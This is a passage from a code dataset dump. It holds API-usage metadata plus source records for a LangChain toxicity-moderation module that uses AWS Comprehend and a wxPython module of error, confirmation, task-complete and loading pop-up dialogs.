"line_number": 115, "usage_type": "name"}, {"api_name": "app.db.DateTime", "line_number": 116, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 116, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 116, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 116, "usage_type": "name"}, {"api_name": "app.db.create_all", "line_number": 128, "usage_type": "call"}, {"api_name": "app.db", "line_number": 128, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 129, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 129, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 129, "usage_type": "name"}, {"api_name": "marshmallow.Schema", "line_number": 132, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 133, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 133, "usage_type": "name"}, {"api_name": "marshmallow.Schema", "line_number": 136, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 137, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 137, "usage_type": "name"}, {"api_name": "marshmallow.Schema", "line_number": 140, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 141, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 141, "usage_type": "name"}, {"api_name": "marshmallow.Schema", "line_number": 144, "usage_type": "name"}, {"api_name": "marshmallow.fields.Int", "line_number": 145, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 145, "usage_type": "name"}, {"api_name": "marshmallow.fields.Int", "line_number": 146, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 146, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 147, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 147, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 148, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 148, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 149, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 149, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 150, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 150, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 151, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 151, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 152, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 152, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 153, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 153, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 154, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 154, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 155, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 155, "usage_type": "name"}, {"api_name": "marshmallow.fields.Str", "line_number": 156, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 156, "usage_type": "name"}, {"api_name": "marshmallow.fields.Int", "line_number": 157, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 157, "usage_type": "name"}, {"api_name": "marshmallow.fields.Date", "line_number": 158, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 158, "usage_type": "name"}, {"api_name": "marshmallow.fields.Nested", "line_number": 159, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 159, "usage_type": "name"}, {"api_name": "marshmallow.fields.Nested", "line_number": 160, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 160, "usage_type": "name"}, {"api_name": "marshmallow.fields.Nested", "line_number": 161, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 161, "usage_type": "name"}, {"api_name": "marshmallow.Schema", "line_number": 163, "usage_type": "name"}, {"api_name": "marshmallow.fields.Int", "line_number": 164, "usage_type": "call"}, {"api_name": "marshmallow.fields", "line_number": 164, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 169, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 169, "usage_type": "name"}, {"api_name": "flask_restful.Resource", "line_number": 172, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 175, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 175, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 175, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 176, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 176, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 176, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 177, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 177, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 177, "usage_type": "name"}, {"api_name": "sqlalchemy.or_", "line_number": 180, "usage_type": "call"}, {"api_name": "sqlalchemy.or_", "line_number": 188, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 200, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 203, "usage_type": "name"}, {"api_name": "flask_restful.Resource", "line_number": 209, "usage_type": "name"}, {"api_name": "sqlalchemy.func.count", "line_number": 211, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 211, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 219, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 222, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 232, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 235, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 238, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 238, "usage_type": "name"}, {"api_name": "api.user.User.query.filter_by", "line_number": 240, "usage_type": "call"}, {"api_name": "api.user.User.query", "line_number": 240, "usage_type": "attribute"}, {"api_name": "api.user.User", "line_number": 240, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 242, "usage_type": "call"}, {"api_name": "flask_restful.abort", "line_number": 245, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 275, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 275, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 275, "usage_type": "name"}, {"api_name": "app.db.session.flush", "line_number": 276, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 276, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 276, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 286, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 286, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 286, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 295, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 295, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 295, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 304, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 304, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 304, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 306, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 306, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 306, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 236, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 312, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 316, "usage_type": "call"}, {"api_name": "flask_restful.abort", "line_number": 323, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 325, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 325, "usage_type": "name"}, {"api_name": "api.user.User.query.filter_by", "line_number": 327, "usage_type": "call"}, {"api_name": "api.user.User.query", "line_number": 327, "usage_type": "attribute"}, {"api_name": "api.user.User", "line_number": 327, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 329, "usage_type": "call"}, {"api_name": "flask_restful.abort", "line_number": 332, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 345, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 345, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 345, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 355, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 355, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 355, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 365, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 365, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 365, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 375, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 375, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 375, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 377, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 377, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 377, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 319, "usage_type": "call"}, {"api_name": "flask_restful.abort", "line_number": 384, "usage_type": "call"}, {"api_name": "app.db.session.delete", "line_number": 386, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 386, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 386, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 387, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 387, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 387, "usage_type": "name"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 380, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 391, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 395, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 397, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 397, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 399, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 399, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 399, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 400, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 400, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 400, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 401, "usage_type": "call"}]} {"seq_id": "24563505577", "text": "import asyncio\nimport importlib\nfrom typing import Any, List, Optional\n\nfrom langchain_experimental.comprehend_moderation.base_moderation_exceptions import (\n ModerationToxicityError,\n)\n\n\nclass ComprehendToxicity:\n def __init__(\n self,\n client: Any,\n callback: Optional[Any] = None,\n unique_id: Optional[str] = None,\n chain_id: Optional[str] = None,\n ) -> None:\n self.client = client\n self.moderation_beacon = {\n \"moderation_chain_id\": chain_id,\n \"moderation_type\": \"Toxicity\",\n \"moderation_status\": \"LABELS_NOT_FOUND\",\n }\n self.callback = callback\n self.unique_id = unique_id\n\n def _toxicity_init_validate(self, max_size: int) -> Any:\n \"\"\"\n Validate and initialize toxicity processing configuration.\n\n Args:\n max_size (int): Maximum sentence size defined in the\n configuration object.\n\n Raises:\n Exception: If the maximum sentence size exceeds the 5KB limit.\n\n Note:\n This function ensures that the NLTK punkt tokenizer is downloaded\n if not already present.\n\n Returns:\n None\n \"\"\"\n if max_size > 1024 * 5:\n raise Exception(\"The sentence length should not exceed 5KB.\")\n try:\n nltk = importlib.import_module(\"nltk\")\n nltk.data.find(\"tokenizers/punkt\")\n return nltk\n except ImportError:\n raise ModuleNotFoundError(\n \"Could not import nltk python package. \"\n \"Please install it with `pip install nltk`.\"\n )\n except LookupError:\n nltk.download(\"punkt\")\n\n def _split_paragraph(\n self, prompt_value: str, max_size: int = 1024 * 4\n ) -> List[List[str]]:\n \"\"\"\n Split a paragraph into chunks of sentences, respecting the maximum size limit.\n\n Args:\n paragraph (str): The input paragraph to be split into chunks.\n max_size (int, optional): The maximum size limit in bytes for\n each chunk. Defaults to 1024.\n\n Returns:\n List[List[str]]: A list of chunks, where each chunk is a list\n of sentences.\n\n Note:\n This function validates the maximum sentence size based on service\n limits using the 'toxicity_init_validate' function. It uses the NLTK\n sentence tokenizer to split the paragraph into sentences.\n\n Example:\n paragraph = \"This is a sample paragraph. It\n contains multiple sentences. ...\"\n chunks = split_paragraph(paragraph, max_size=2048)\n \"\"\"\n\n # validate max. sentence size based on Service limits\n nltk = self._toxicity_init_validate(max_size)\n sentences = nltk.sent_tokenize(prompt_value)\n chunks = list() # type: ignore\n current_chunk = list() # type: ignore\n current_size = 0\n\n for sentence in sentences:\n sentence_size = len(sentence.encode(\"utf-8\"))\n # If adding a new sentence exceeds max_size\n # or current_chunk has 10 sentences, start a new chunk\n if (current_size + sentence_size > max_size) or (len(current_chunk) >= 10):\n if current_chunk: # Avoid appending empty chunks\n chunks.append(current_chunk)\n current_chunk = []\n current_size = 0\n\n current_chunk.append(sentence)\n current_size += sentence_size\n\n # Add any remaining sentences\n if current_chunk:\n chunks.append(current_chunk)\n return chunks\n\n def validate(self, prompt_value: str, config: Any = None) -> str:\n \"\"\"\n Check the toxicity of a given text prompt using AWS\n Comprehend service and apply actions based on configuration.\n Args:\n prompt_value (str): The text content to be checked for toxicity.\n config (Dict[str, Any]): Configuration for toxicity checks and actions.\n\n Returns:\n str: The original prompt_value if allowed or no toxicity found.\n\n Raises:\n ValueError: If the prompt contains toxic labels and cannot be\n processed based on the configuration.\n \"\"\"\n\n chunks = self._split_paragraph(prompt_value=prompt_value)\n for sentence_list in chunks:\n segments = [{\"Text\": sentence} for sentence in sentence_list]\n response = self.client.detect_toxic_content(\n TextSegments=segments, LanguageCode=\"en\"\n )\n if self.callback and self.callback.toxicity_callback:\n self.moderation_beacon[\"moderation_input\"] = segments # type: ignore\n self.moderation_beacon[\"moderation_output\"] = response\n toxicity_found = False\n threshold = config.get(\"threshold\")\n toxicity_labels = config.get(\"labels\")\n\n if not toxicity_labels:\n for item in response[\"ResultList\"]:\n for label in item[\"Labels\"]:\n if label[\"Score\"] >= threshold:\n toxicity_found = True\n break\n else:\n for item in response[\"ResultList\"]:\n for label in item[\"Labels\"]:\n if (\n label[\"Name\"] in toxicity_labels\n and label[\"Score\"] >= threshold\n ):\n toxicity_found = True\n break\n\n if self.callback and self.callback.toxicity_callback:\n if toxicity_found:\n self.moderation_beacon[\"moderation_status\"] = \"LABELS_FOUND\"\n asyncio.create_task(\n self.callback.on_after_toxicity(\n self.moderation_beacon, self.unique_id\n )\n )\n if toxicity_found:\n raise ModerationToxicityError\n return prompt_value\n", "repo_name": "langchain-ai/langchain", "sub_path": "libs/experimental/langchain_experimental/comprehend_moderation/toxicity.py", "file_name": "toxicity.py", "file_ext": "py", "file_size_in_byte": 6108, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 68990, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Any", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 16, "usage_type": "name"}, {"api_name": "importlib.import_module", "line_number": 48, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 61, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 110, "usage_type": "name"}, {"api_name": "asyncio.create_task", "line_number": 158, "usage_type": "call"}, {"api_name": "langchain_experimental.comprehend_moderation.base_moderation_exceptions.ModerationToxicityError", "line_number": 164, "usage_type": "name"}]} {"seq_id": "22383021167", "text": "\"\"\"OPENGUI Popups module\n\nThe Popups module contains all of the Popup boxes for OPENGUI.\nPopup boxes are considered different to Dialogue boxes in that they are used mainly for user feedback.\nIn this module there is an error pop-up, a task complete pop-up, and a loading bar.\n\n\"\"\"\n\nimport wx\n\n###########################################################################\n## POP-UPS\n###########################################################################\n###########################\n# Error Popup generic case\n###########################\nclass GenericError ( wx.Dialog ):\n\n def __init__( self, text=\"Error!\", parent=None):\n \"\"\"Constructor\n \n Parameters\n ----------\n text\n The text to be displayed in the pop-up window (default \"ERROR\").\n \n \"\"\"\n \n wx.Dialog.__init__( self, parent, id = wx.ID_ANY, title = u\"Error\", pos = wx.DefaultPosition, size = wx.DefaultSize, style = wx.DEFAULT_DIALOG_STYLE )\n\n self.SetSizeHints( wx.DefaultSize, wx.DefaultSize )\n\n bErrorDialogueFrameMain = wx.BoxSizer( wx.VERTICAL )\n\n bErrorDialogueMainFrame = wx.BoxSizer( wx.VERTICAL )\n\n self.m_ErrorDialogueActiveArea = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL )\n bErrorDialogueSizer = wx.BoxSizer( wx.VERTICAL )\n\n # bErrorDialogueSizer.SetMinSize( wx.Size( 800,400 ) )\n\n #add static text here\n self.m_label = wx.StaticText(self.m_ErrorDialogueActiveArea, -1, style = wx.ALIGN_CENTER)\n self.m_font = wx.Font(10, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True)\n self.m_txt = text\n self.m_label.SetFont(self.m_font)\n self.m_label.SetLabel(self.m_txt)\n bErrorDialogueSizer.Add( self.m_label, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n\n self.m_CloseOK = wx.Button( self.m_ErrorDialogueActiveArea, wx.ID_ANY, u\"OK\", wx.DefaultPosition, wx.DefaultSize, 0 )\n bErrorDialogueSizer.Add( self.m_CloseOK, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n\n self.m_ErrorDialogueActiveArea.SetSizer( bErrorDialogueSizer )\n self.m_ErrorDialogueActiveArea.Layout()\n bErrorDialogueSizer.Fit( self.m_ErrorDialogueActiveArea )\n bErrorDialogueMainFrame.Add( self.m_ErrorDialogueActiveArea, 1, wx.EXPAND, 5 )\n\n\n bErrorDialogueFrameMain.Add( bErrorDialogueMainFrame, 1, wx.EXPAND, 5 )\n\n\n self.SetSizer( bErrorDialogueFrameMain )\n self.Layout()\n bErrorDialogueFrameMain.Fit( self )\n\n self.Centre( wx.BOTH )\n\n # Connect Events\n self.m_CloseOK.Bind( wx.EVT_BUTTON, self.closeOK)\n\n def __del__( self ):\n pass\n\n # Virtual event handlers, override them in your derived class\n def closeOK( self, event ):\n \"\"\"Closes the pop-up window.\n \n This function is called from pressing the OK button in the pop-up window.\n \n \"\"\"\n\n self.Close()\n event.Skip()\n###########################\n# Confirmation Popup generic case\n###########################\nclass GenericConfirmation ( wx.Dialog ):\n\n def __init__( self, text=\"Are you sure?\", parent=None):\n \"\"\"Constructor\n \n Parameters\n ----------\n text\n The text to be displayed in the pop-up window (default \"Are you sure?\").\n \n \"\"\"\n \n wx.Dialog.__init__( self, parent, id = wx.ID_ANY, title = u\"Confirmation\", pos = wx.DefaultPosition, size = wx.DefaultSize, style = wx.DEFAULT_DIALOG_STYLE )\n\n self.SetSizeHints( wx.DefaultSize, wx.DefaultSize )\n\n bConfirmationDialogueFrameMain = wx.BoxSizer( wx.VERTICAL )\n\n bConfirmationDialogueMainFrame = wx.BoxSizer( wx.VERTICAL )\n\n self.m_ConfirmationDialogueActiveArea = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL )\n bConfirmationDialogueSizer = wx.BoxSizer( wx.VERTICAL )\n bButtonSizer = wx.BoxSizer( wx.HORIZONTAL )\n\n # bConfirmationDialogueSizer.SetMinSize( wx.Size( 800,400 ) )\n \n self.choice = False #By Default\n\n #add static text here\n self.m_label = wx.StaticText(self.m_ConfirmationDialogueActiveArea, -1, style = wx.ALIGN_CENTER)\n self.m_font = wx.Font(10, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True)\n self.m_txt = text\n self.m_label.SetFont(self.m_font)\n self.m_label.SetLabel(self.m_txt)\n bConfirmationDialogueSizer.Add( self.m_label, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n\n self.m_CloseYES = wx.Button( self.m_ConfirmationDialogueActiveArea, wx.ID_ANY, u\"YES\", wx.DefaultPosition, wx.DefaultSize, 0 )\n bButtonSizer.Add( self.m_CloseYES, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n\n self.m_CloseNO = wx.Button( self.m_ConfirmationDialogueActiveArea, wx.ID_ANY, u\"NO\", wx.DefaultPosition, wx.DefaultSize, 0 )\n bButtonSizer.Add( self.m_CloseNO, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n \n bConfirmationDialogueSizer.Add( bButtonSizer, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n\n self.m_ConfirmationDialogueActiveArea.SetSizer( bConfirmationDialogueSizer )\n self.m_ConfirmationDialogueActiveArea.Layout()\n bConfirmationDialogueSizer.Fit( self.m_ConfirmationDialogueActiveArea )\n bConfirmationDialogueMainFrame.Add( self.m_ConfirmationDialogueActiveArea, 1, wx.EXPAND, 5 )\n\n\n bConfirmationDialogueFrameMain.Add( bConfirmationDialogueMainFrame, 1, wx.EXPAND, 5 )\n\n\n self.SetSizer( bConfirmationDialogueFrameMain )\n self.Layout()\n bConfirmationDialogueFrameMain.Fit( self )\n\n self.Centre( wx.BOTH )\n\n # Connect Events\n self.m_CloseYES.Bind( wx.EVT_BUTTON, self.closeYES)\n self.m_CloseNO.Bind( wx.EVT_BUTTON, self.closeNO)\n\n def __del__( self ):\n pass\n\n # Virtual event handlers, override them in your derived class\n def closeYES( self, event ):\n \"\"\"Closes the pop-up window if YES is selected.\n \n Sets the variable self.choice to True.\n \n \"\"\"\n \n self.choice = True\n \n self.Close()\n event.Skip()\n \n def closeNO( self, event ):\n \"\"\"Closes the pop-up window if NO is selected.\n\n Sets the variable self.choice to False.\n \n \"\"\"\n \n self.choice = False\n \n self.Close()\n event.Skip()\n \n###########################\n# Task Complete generic case\n###########################\nclass GenericTaskComplete ( wx.Dialog ):\n\n def __init__( self, parent ):\n \"\"\"Constructor\n \n Parameters\n ----------\n parent\n Parent of the pop-up, wx.Dialog\n \n \"\"\"\n \n wx.Dialog.__init__( self, parent, id = wx.ID_ANY, title = u\"Task Complete\", pos = wx.DefaultPosition, size = wx.DefaultSize, style = wx.DEFAULT_DIALOG_STYLE )\n\n self.SetSizeHints( wx.DefaultSize, wx.DefaultSize )\n\n bTaskCompleteDialogueFrameMain = wx.BoxSizer( wx.VERTICAL )\n\n bTaskCompleteDialogueMainFrame = wx.BoxSizer( wx.VERTICAL )\n\n self.m_TaskCompleteDialogueActiveArea = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL )\n bTaskCompleteDialogueSizer = wx.BoxSizer( wx.VERTICAL )\n\n # bTaskCompleteDialogueSizer.SetMinSize( wx.Size( 800,400 ) )\n\n #add static text here\n self.m_label = wx.StaticText(self.m_TaskCompleteDialogueActiveArea, -1, style = wx.ALIGN_CENTER)\n self.m_font = wx.Font(10, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True)\n self.m_txt = \"Done!\"\n self.m_label.SetFont(self.m_font)\n self.m_label.SetLabel(self.m_txt)\n bTaskCompleteDialogueSizer.Add( self.m_label, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n\n self.m_CloseOK = wx.Button( self.m_TaskCompleteDialogueActiveArea, wx.ID_ANY, u\"OK\", wx.DefaultPosition, wx.DefaultSize, 0 )\n bTaskCompleteDialogueSizer.Add( self.m_CloseOK, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n\n self.m_TaskCompleteDialogueActiveArea.SetSizer( bTaskCompleteDialogueSizer )\n self.m_TaskCompleteDialogueActiveArea.Layout()\n bTaskCompleteDialogueSizer.Fit( self.m_TaskCompleteDialogueActiveArea )\n bTaskCompleteDialogueMainFrame.Add( self.m_TaskCompleteDialogueActiveArea, 1, wx.EXPAND, 5 )\n\n\n bTaskCompleteDialogueFrameMain.Add( bTaskCompleteDialogueMainFrame, 1, wx.EXPAND, 5 )\n\n\n self.SetSizer( bTaskCompleteDialogueFrameMain )\n self.Layout()\n bTaskCompleteDialogueFrameMain.Fit( self )\n\n self.Centre( wx.BOTH )\n\n # Connect Events\n self.m_CloseOK.Bind( wx.EVT_BUTTON, self.closeOK)\n\n def __del__( self ):\n pass\n\n # Virtual event handlers, override them in your derived class\n def closeOK( self, event ):\n \"\"\"Closes the pop-up window.\n \n This function is called from pressing the OK button in the pop-up window.\n \n \"\"\"\n\n self.Close()\n event.Skip()\n\n###########################\n# Loading bar generic case\n###########################\n\nclass GenericLoadingDialogue ( wx.Dialog ): #changed from Dialog\n\n def __init__( self ): #removing parent here\n \"\"\"Constructor\n \n \"\"\"\n \n # parent = wx.Dialog # None below used to be parent\n wx.Dialog.__init__( self, None, id = wx.ID_ANY, title = u\"Task in Progress\", pos = wx.DefaultPosition, size = wx.DefaultSize, style = wx.DEFAULT_DIALOG_STYLE )\n # wxWindow.Update() #FIXME Text not appearing\n self.SetSizeHints( wx.DefaultSize, wx.DefaultSize )\n\n bLoadingDialogueFrameMain = wx.BoxSizer( wx.VERTICAL )\n\n bLoadingDialogueMainFrame = wx.BoxSizer( wx.VERTICAL )\n\n self.m_LoadingDialogueActiveArea = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL )\n bLoadingDialogueSizer = wx.BoxSizer( wx.VERTICAL )\n\n # bLoadingBarDialogueSizer.SetMinSize( wx.Size( 100,400 ) )\n\n #add static text here\n self.m_label = wx.StaticText(self.m_LoadingDialogueActiveArea, -1, style = wx.ALIGN_CENTER)\n self.m_font = wx.Font(10, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True)\n self.m_txt = \"Loading...\"\n self.m_label.SetFont(self.m_font)\n self.m_label.SetLabel(self.m_txt)\n bLoadingDialogueSizer.Add( self.m_label, 1, wx.ALIGN_CENTER|wx.ALL, 5 )\n\n self.m_LoadingDialogueActiveArea.SetSizer( bLoadingDialogueSizer )\n self.m_LoadingDialogueActiveArea.Layout()\n bLoadingDialogueSizer.Fit( self.m_LoadingDialogueActiveArea )\n bLoadingDialogueMainFrame.Add( self.m_LoadingDialogueActiveArea, 1, wx.EXPAND, 5 )\n\n\n bLoadingDialogueFrameMain.Add( bLoadingDialogueMainFrame, 1, wx.EXPAND, 5 )\n\n\n self.SetSizer( bLoadingDialogueFrameMain )\n self.Layout()\n bLoadingDialogueFrameMain.Fit( self )\n\n self.Centre( wx.BOTH )\n\n # Connect Events\n # self.Bind( wx.EVT_MOTION, self.onStart)\n\n\n def __del__( self ):\n pass\n\n # Virtual event handlers, override them in your derived class\n # def onStart(self, event):\n # pass\n\n # def closeOK( self, event ):\n\n # self.Close()\n # event.Skip()\n", "repo_name": "EsaLaboratory/OPENGUI", "sub_path": "Popups.py", "file_name": "Popups.py", "file_ext": "py", "file_size_in_byte": 11220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "wx.Dialog", "line_number": 17, "usage_type": "attribute"}, {"api_name": "wx.Dialog.__init__", "line_number": 29, "usage_type": "call"}, {"api_name": "wx.Dialog", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.ID_ANY", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_DIALOG_STYLE", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 31, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 33, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 33, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 35, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 35, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 37, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 37, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 37, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 37, "usage_type": "attribute"}, {"api_name": "wx.TAB_TRAVERSAL", "line_number": 37, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 38, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 38, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 43, "usage_type": "call"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 43, "usage_type": "attribute"}, {"api_name": "wx.Font", "line_number": 44, "usage_type": "call"}, {"api_name": "wx.FONTFAMILY_DEFAULT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "wx.FONTSTYLE_NORMAL", "line_number": 44, "usage_type": "attribute"}, {"api_name": "wx.FONTWEIGHT_BOLD", "line_number": 44, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 48, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 48, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 50, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 50, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 50, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 50, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 51, "usage_type": "attribute"}, 